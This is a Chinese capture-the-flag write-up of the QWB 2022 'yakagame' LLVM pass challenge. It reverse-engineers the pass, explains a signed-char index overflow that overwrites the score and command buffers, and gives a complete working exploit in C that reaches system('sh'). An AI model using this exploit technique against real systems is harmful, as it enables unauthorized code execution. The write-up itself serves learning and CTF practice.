这是LLVM PASS PWN的第三篇,这里笔者将记录学习强网杯2022 yakagame这道LLVM PASS PWN题

之前的文章链接:

LLVM PASS PWN (三)

逆向分析

下载后发现了三个文件opt-8 readme.md yaka.so,先读一下readme.md

you can upload your exp code and when you think your exp code is good,just attack it

'''bash
opt-8 -load ./yaka.so -ayaka ./exp.ll
'''

will execte

和CISCN 2021 satool一样给出了运行格式

直接拿yaka.so文件进行逆向分析,和之前一样直接去找重写runOnFunction函数,在vtable最后

跟进这个函数

和上一篇一样的思路,开启调试,前面经过笔者的分析之后发现PASS会对gamestart这个函数进行优化,exp.c首先如下

#include <stdio.h>

int gamestart(){
        return 0;
}

成功跑进,但是跑一会之后直接brek退出程序了,原因和上一篇一样,测试程序直接return 0了,所以我们往下看一下有没有功能处理

找到了一个fight处理函数,值得注意的是下面还有个地方调用了backdoor函数,但是需要score大于0x12345678,getNumOperands返回的是被调用函数的参数个数+1,验证一下即可

#include <stdio.h>

void fight(int a){
}


void gamestart(){
        fight(1);
}

验证之后的确是这样的,接着往下看ZExtValue其实就是weaponlist的索引,会从weapon_list中取出对应索引的值,然后与boss进行比较

如果大于等于boss则win,并获得分数,如果小于boss则loss,最后如果分数大于0x12345678则进backdoor,继续看下面的功能函数

首先是merge,merge有两个参数,取出两个参数,并找到对应的weaponlist的值然后相加

然后是destroy,destroy有一个参数,取出参数,将对应的weaponlist的值改为0

接着是upgrade,有一个参数,然后weaponlist里面的每个值都加上一参

上面对cmd进行了异或,加,减,cmd是backdoor里面system的参数,但是是乱码,这说明我们可以使用这些函数将cmd构造成想要的东西然后跳转执行bk

如果函数名不是上面所说的那就会跳转到这里进行处理,需要一参,这里直接看太难了,上动态调试,exp.c如下

#include <stdio.h>

void fight(int a){
}

void merge(int a, int b){
}

void destroy(int a){
}

void upgrade(int a){
}

void wuxiangdeyidao(){
}

void zhanjinniuza(){
}

void guobapenhuo(){
}

void tiandongwanxiang(){
}

void z1r001(int a){
}

void gamestart(){
        z1r001(1);
}

首先会遍历map查找是否有这个函数名,如果遇到不认识的函数就会用funMap存起来,如下可以看见z1r001函数已经被存放到funmap中

那遇见已经被funmap存起来的的函数名会怎么办,继续调试,exp.c如下

#include <stdio.h>

void fight(int a){
}

void merge(int a, int b){
}

void destroy(int a){
}

void upgrade(int a){
}

void wuxiangdeyidao(){
}

void zhanjinniuza(){
}

void guobapenhuo(){
}

void tiandongwanxiang(){
}

void z1r001(int a){
}

void z1r002(int a){
}

void z1r003(int a){
}

void gamestart(){
    z1r001(1);
    z1r001(1);
    z1r001(1);
    z1r001(1);
    z1r001(1);
}

一参已经放入weaponlist中了,但是这么多一样的函数名的一参却只占用本来应该占用的位置,并不会继续往下添加,经过调试分析之后发现只能写到对应的位置,所以想要继续往下填weaponlist的值就得用不一样的函数名,更加需要注意的是函数名不能乱,遍历的时候是按照函数名大小遍历的

漏洞利用

至此逆向分析结束,那漏洞点出在哪里呢,如下,v33是有符号char类型的,有符号char类型的范围是-128 ~ +127

如果v33为127的时候,再加上1,那么v33不会是128而是-128,再加的时候则是-127,看一下weaponlist旁边有没有什么敏感的数据

看到了score,之前分析过score大于0x12345678的时候会调用backdoor,所以我们可以利用漏洞加到-0x10这个位置将score给改成一个指向特别大的地址的地址,所以我们可以先写一个程序批量生成128 * 2个从小到大的函数名,这样可以直接负数溢出完score的位置,并给里面的值都赋上0

for i in range(128 * 2):
    print('void z1r0{0:003}'.format(i) + '(int a){}')

for i in range(128 * 2):
    print('z1r0{0:003}'.format(i) + '(0);')

接着算一下score在哪里255是-1,所以240是-0x10,从240开始改一个字节一个字节的改score,score可以改成什么呢,因为opt-8没有开pie所以我们可以改score为一个got表地址,这样子的话score指向的地址的内容就大于0x12345678了

最后想起来cmd需要解密一下,但是我们还有另一种方法,因为我们可以控制cmd,所以我们可以打cmd为sh,可以直接ropgadget获得sh的地址

最终可以执行到system("sh");

exp如下

#include <stdio.h>

void fight(int a){
}

void merge(int a, int b){
}

void destroy(int a){
}

void upgrade(int a){
}

void wuxiangdeyidao(){
}

void zhanjinniuza(){
}

void guobapenhuo(){
}

void tiandongwanxiang(){
}

void z1r0000(int a){}
void z1r0001(int a){}
void z1r0002(int a){}
void z1r0003(int a){}
void z1r0004(int a){}
void z1r0005(int a){}
void z1r0006(int a){}
void z1r0007(int a){}
void z1r0008(int a){}
void z1r0009(int a){}
void z1r0010(int a){}
void z1r0011(int a){}
void z1r0012(int a){}
void z1r0013(int a){}
void z1r0014(int a){}
void z1r0015(int a){}
void z1r0016(int a){}
void z1r0017(int a){}
void z1r0018(int a){}
void z1r0019(int a){}
void z1r0020(int a){}
void z1r0021(int a){}
void z1r0022(int a){}
void z1r0023(int a){}
void z1r0024(int a){}
void z1r0025(int a){}
void z1r0026(int a){}
void z1r0027(int a){}
void z1r0028(int a){}
void z1r0029(int a){}
void z1r0030(int a){}
void z1r0031(int a){}
void z1r0032(int a){}
void z1r0033(int a){}
void z1r0034(int a){}
void z1r0035(int a){}
void z1r0036(int a){}
void z1r0037(int a){}
void z1r0038(int a){}
void z1r0039(int a){}
void z1r0040(int a){}
void z1r0041(int a){}
void z1r0042(int a){}
void z1r0043(int a){}
void z1r0044(int a){}
void z1r0045(int a){}
void z1r0046(int a){}
void z1r0047(int a){}
void z1r0048(int a){}
void z1r0049(int a){}
void z1r0050(int a){}
void z1r0051(int a){}
void z1r0052(int a){}
void z1r0053(int a){}
void z1r0054(int a){}
void z1r0055(int a){}
void z1r0056(int a){}
void z1r0057(int a){}
void z1r0058(int a){}
void z1r0059(int a){}
void z1r0060(int a){}
void z1r0061(int a){}
void z1r0062(int a){}
void z1r0063(int a){}
void z1r0064(int a){}
void z1r0065(int a){}
void z1r0066(int a){}
void z1r0067(int a){}
void z1r0068(int a){}
void z1r0069(int a){}
void z1r0070(int a){}
void z1r0071(int a){}
void z1r0072(int a){}
void z1r0073(int a){}
void z1r0074(int a){}
void z1r0075(int a){}
void z1r0076(int a){}
void z1r0077(int a){}
void z1r0078(int a){}
void z1r0079(int a){}
void z1r0080(int a){}
void z1r0081(int a){}
void z1r0082(int a){}
void z1r0083(int a){}
void z1r0084(int a){}
void z1r0085(int a){}
void z1r0086(int a){}
void z1r0087(int a){}
void z1r0088(int a){}
void z1r0089(int a){}
void z1r0090(int a){}
void z1r0091(int a){}
void z1r0092(int a){}
void z1r0093(int a){}
void z1r0094(int a){}
void z1r0095(int a){}
void z1r0096(int a){}
void z1r0097(int a){}
void z1r0098(int a){}
void z1r0099(int a){}
void z1r0100(int a){}
void z1r0101(int a){}
void z1r0102(int a){}
void z1r0103(int a){}
void z1r0104(int a){}
void z1r0105(int a){}
void z1r0106(int a){}
void z1r0107(int a){}
void z1r0108(int a){}
void z1r0109(int a){}
void z1r0110(int a){}
void z1r0111(int a){}
void z1r0112(int a){}
void z1r0113(int a){}
void z1r0114(int a){}
void z1r0115(int a){}
void z1r0116(int a){}
void z1r0117(int a){}
void z1r0118(int a){}
void z1r0119(int a){}
void z1r0120(int a){}
void z1r0121(int a){}
void z1r0122(int a){}
void z1r0123(int a){}
void z1r0124(int a){}
void z1r0125(int a){}
void z1r0126(int a){}
void z1r0127(int a){}
void z1r0128(int a){}
void z1r0129(int a){}
void z1r0130(int a){}
void z1r0131(int a){}
void z1r0132(int a){}
void z1r0133(int a){}
void z1r0134(int a){}
void z1r0135(int a){}
void z1r0136(int a){}
void z1r0137(int a){}
void z1r0138(int a){}
void z1r0139(int a){}
void z1r0140(int a){}
void z1r0141(int a){}
void z1r0142(int a){}
void z1r0143(int a){}
void z1r0144(int a){}
void z1r0145(int a){}
void z1r0146(int a){}
void z1r0147(int a){}
void z1r0148(int a){}
void z1r0149(int a){}
void z1r0150(int a){}
void z1r0151(int a){}
void z1r0152(int a){}
void z1r0153(int a){}
void z1r0154(int a){}
void z1r0155(int a){}
void z1r0156(int a){}
void z1r0157(int a){}
void z1r0158(int a){}
void z1r0159(int a){}
void z1r0160(int a){}
void z1r0161(int a){}
void z1r0162(int a){}
void z1r0163(int a){}
void z1r0164(int a){}
void z1r0165(int a){}
void z1r0166(int a){}
void z1r0167(int a){}
void z1r0168(int a){}
void z1r0169(int a){}
void z1r0170(int a){}
void z1r0171(int a){}
void z1r0172(int a){}
void z1r0173(int a){}
void z1r0174(int a){}
void z1r0175(int a){}
void z1r0176(int a){}
void z1r0177(int a){}
void z1r0178(int a){}
void z1r0179(int a){}
void z1r0180(int a){}
void z1r0181(int a){}
void z1r0182(int a){}
void z1r0183(int a){}
void z1r0184(int a){}
void z1r0185(int a){}
void z1r0186(int a){}
void z1r0187(int a){}
void z1r0188(int a){}
void z1r0189(int a){}
void z1r0190(int a){}
void z1r0191(int a){}
void z1r0192(int a){}
void z1r0193(int a){}
void z1r0194(int a){}
void z1r0195(int a){}
void z1r0196(int a){}
void z1r0197(int a){}
void z1r0198(int a){}
void z1r0199(int a){}
void z1r0200(int a){}
void z1r0201(int a){}
void z1r0202(int a){}
void z1r0203(int a){}
void z1r0204(int a){}
void z1r0205(int a){}
void z1r0206(int a){}
void z1r0207(int a){}
void z1r0208(int a){}
void z1r0209(int a){}
void z1r0210(int a){}
void z1r0211(int a){}
void z1r0212(int a){}
void z1r0213(int a){}
void z1r0214(int a){}
void z1r0215(int a){}
void z1r0216(int a){}
void z1r0217(int a){}
void z1r0218(int a){}
void z1r0219(int a){}
void z1r0220(int a){}
void z1r0221(int a){}
void z1r0222(int a){}
void z1r0223(int a){}
void z1r0224(int a){}
void z1r0225(int a){}
void z1r0226(int a){}
void z1r0227(int a){}
void z1r0228(int a){}
void z1r0229(int a){}
void z1r0230(int a){}
void z1r0231(int a){}
void z1r0232(int a){}
void z1r0233(int a){}
void z1r0234(int a){}
void z1r0235(int a){}
void z1r0236(int a){}
void z1r0237(int a){}
void z1r0238(int a){}
void z1r0239(int a){}
void z1r0240(int a){}
void z1r0241(int a){}
void z1r0242(int a){}
void z1r0243(int a){}
void z1r0244(int a){}
void z1r0245(int a){}
void z1r0246(int a){}
void z1r0247(int a){}
void z1r0248(int a){}
void z1r0249(int a){}
void z1r0250(int a){}
void z1r0251(int a){}
void z1r0252(int a){}
void z1r0253(int a){}
void z1r0254(int a){}
void z1r0255(int a){}

void gamestart(){
  //decode
    tiandongwanxiang();
    wuxiangdeyidao();
    zhanjinniuza();
    guobapenhuo();
    tiandongwanxiang();
    tiandongwanxiang();
    tiandongwanxiang();
    tiandongwanxiang();
    tiandongwanxiang();
    tiandongwanxiang();
    tiandongwanxiang();
    tiandongwanxiang();
    tiandongwanxiang();
    wuxiangdeyidao();
    zhanjinniuza();
    z1r0000(0);
    z1r0001(0);
    z1r0002(0);
    z1r0003(0);
    z1r0004(0);
    z1r0005(0);
    z1r0006(0);
    z1r0007(0);
    z1r0008(0);
    z1r0009(0);
    z1r0010(0);
    z1r0011(0);
    z1r0012(0);
    z1r0013(0);
    z1r0014(0);
    z1r0015(0);
    z1r0016(0);
    z1r0017(0);
    z1r0018(0);
    z1r0019(0);
    z1r0020(0);
    z1r0021(0);
    z1r0022(0);
    z1r0023(0);
    z1r0024(0);
    z1r0025(0);
    z1r0026(0);
    z1r0027(0);
    z1r0028(0);
    z1r0029(0);
    z1r0030(0);
    z1r0031(0);
    z1r0032(0);
    z1r0033(0);
    z1r0034(0);
    z1r0035(0);
    z1r0036(0);
    z1r0037(0);
    z1r0038(0);
    z1r0039(0);
    z1r0040(0);
    z1r0041(0);
    z1r0042(0);
    z1r0043(0);
    z1r0044(0);
    z1r0045(0);
    z1r0046(0);
    z1r0047(0);
    z1r0048(0);
    z1r0049(0);
    z1r0050(0);
    z1r0051(0);
    z1r0052(0);
    z1r0053(0);
    z1r0054(0);
    z1r0055(0);
    z1r0056(0);
    z1r0057(0);
    z1r0058(0);
    z1r0059(0);
    z1r0060(0);
    z1r0061(0);
    z1r0062(0);
    z1r0063(0);
    z1r0064(0);
    z1r0065(0);
    z1r0066(0);
    z1r0067(0);
    z1r0068(0);
    z1r0069(0);
    z1r0070(0);
    z1r0071(0);
    z1r0072(0);
    z1r0073(0);
    z1r0074(0);
    z1r0075(0);
    z1r0076(0);
    z1r0077(0);
    z1r0078(0);
    z1r0079(0);
    z1r0080(0);
    z1r0081(0);
    z1r0082(0);
    z1r0083(0);
    z1r0084(0);
    z1r0085(0);
    z1r0086(0);
    z1r0087(0);
    z1r0088(0);
    z1r0089(0);
    z1r0090(0);
    z1r0091(0);
    z1r0092(0);
    z1r0093(0);
    z1r0094(0);
    z1r0095(0);
    z1r0096(0);
    z1r0097(0);
    z1r0098(0);
    z1r0099(0);
    z1r0100(0);
    z1r0101(0);
    z1r0102(0);
    z1r0103(0);
    z1r0104(0);
    z1r0105(0);
    z1r0106(0);
    z1r0107(0);
    z1r0108(0);
    z1r0109(0);
    z1r0110(0);
    z1r0111(0);
    z1r0112(0);
    z1r0113(0);
    z1r0114(0);
    z1r0115(0);
    z1r0116(0);
    z1r0117(0);
    z1r0118(0);
    z1r0119(0);
    z1r0120(0);
    z1r0121(0);
    z1r0122(0);
    z1r0123(0);
    z1r0124(0);
    z1r0125(0);
    z1r0126(0);
    z1r0127(0);
    //-128
    z1r0128(0);
    z1r0129(0);
    z1r0130(0);
    z1r0131(0);
    z1r0132(0);
    z1r0133(0);
    z1r0134(0);
    z1r0135(0);
    z1r0136(0);
    z1r0137(0);
    z1r0138(0);
    z1r0139(0);
    z1r0140(0);
    z1r0141(0);
    z1r0142(0);
    z1r0143(0);
    z1r0144(0);
    z1r0145(0);
    z1r0146(0);
    z1r0147(0);
    z1r0148(0);
    z1r0149(0);
    z1r0150(0);
    z1r0151(0);
    z1r0152(0);
    z1r0153(0);
    z1r0154(0);
    z1r0155(0);
    z1r0156(0);
    z1r0157(0);
    z1r0158(0);
    z1r0159(0);
    z1r0160(0);
    z1r0161(0);
    z1r0162(0);
    z1r0163(0);
    z1r0164(0);
    z1r0165(0);
    z1r0166(0);
    z1r0167(0);
    z1r0168(0);
    z1r0169(0);
    z1r0170(0);
    z1r0171(0);
    z1r0172(0);
    z1r0173(0);
    z1r0174(0);
    z1r0175(0);
    z1r0176(0);
    z1r0177(0);
    z1r0178(0);
    z1r0179(0);
    z1r0180(0);
    z1r0181(0);
    z1r0182(0);
    z1r0183(0);
    z1r0184(0);
    z1r0185(0);
    z1r0186(0);
    z1r0187(0);
    z1r0188(0);
    z1r0189(0);
    z1r0190(0);
    z1r0191(0);
    z1r0192(0);
    z1r0193(0);
    z1r0194(0);
    z1r0195(0);
    z1r0196(0);
    z1r0197(0);
    z1r0198(0);
    z1r0199(0);
    z1r0200(0);
    z1r0201(0);
    z1r0202(0);
    z1r0203(0);
    z1r0204(0);
    z1r0205(0);
    z1r0206(0);
    z1r0207(0);
    z1r0208(0);
    z1r0209(0);
    z1r0210(0);
    z1r0211(0);
    z1r0212(0);
    z1r0213(0);
    z1r0214(0);
    z1r0215(0);
    z1r0216(0);
    z1r0217(0);
    z1r0218(0);
    z1r0219(0);
    z1r0220(0);
    z1r0221(0);
    z1r0222(0);
    z1r0223(0);
    z1r0224(0);
    z1r0225(0);
    z1r0226(0);
    z1r0227(0);
    z1r0228(0);
    z1r0229(0);
    z1r0230(0);
    z1r0231(0);
    //-0x18
    z1r0232(0xbd);
    z1r0233(0xa4);
    z1r0234(0x6e);
    z1r0235(0);
    z1r0236(0);
    z1r0237(0);
    z1r0238(0);
    z1r0239(0);
    //-0x10
    z1r0240(0xf0);
    z1r0241(0xde);
    z1r0242(0x77);
    z1r0243(0);
    z1r0244(0);
    z1r0245(0);
    z1r0246(0);
    z1r0247(0);
    z1r0248(0);
    z1r0249(0);
    z1r0250(0);
    z1r0251(0);
    z1r0252(0);
    z1r0253(0);
    z1r0254(0);
    //-1
    z1r0255(0);

    z1r0232(0xbd);
    z1r0233(0xa4);
    z1r0234(0x6e);

    z1r0240(0xf0);
    z1r0241(0xde);
    z1r0242(0x77);

    fight(0);
}

总结

总体来说题目不是太难,还是得动静结合进行分析,梳理出程序逻辑

Reference

https://blog.csdn.net/qq_54218833/article/details/126081315?spm=1001.2014.3001.5502

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖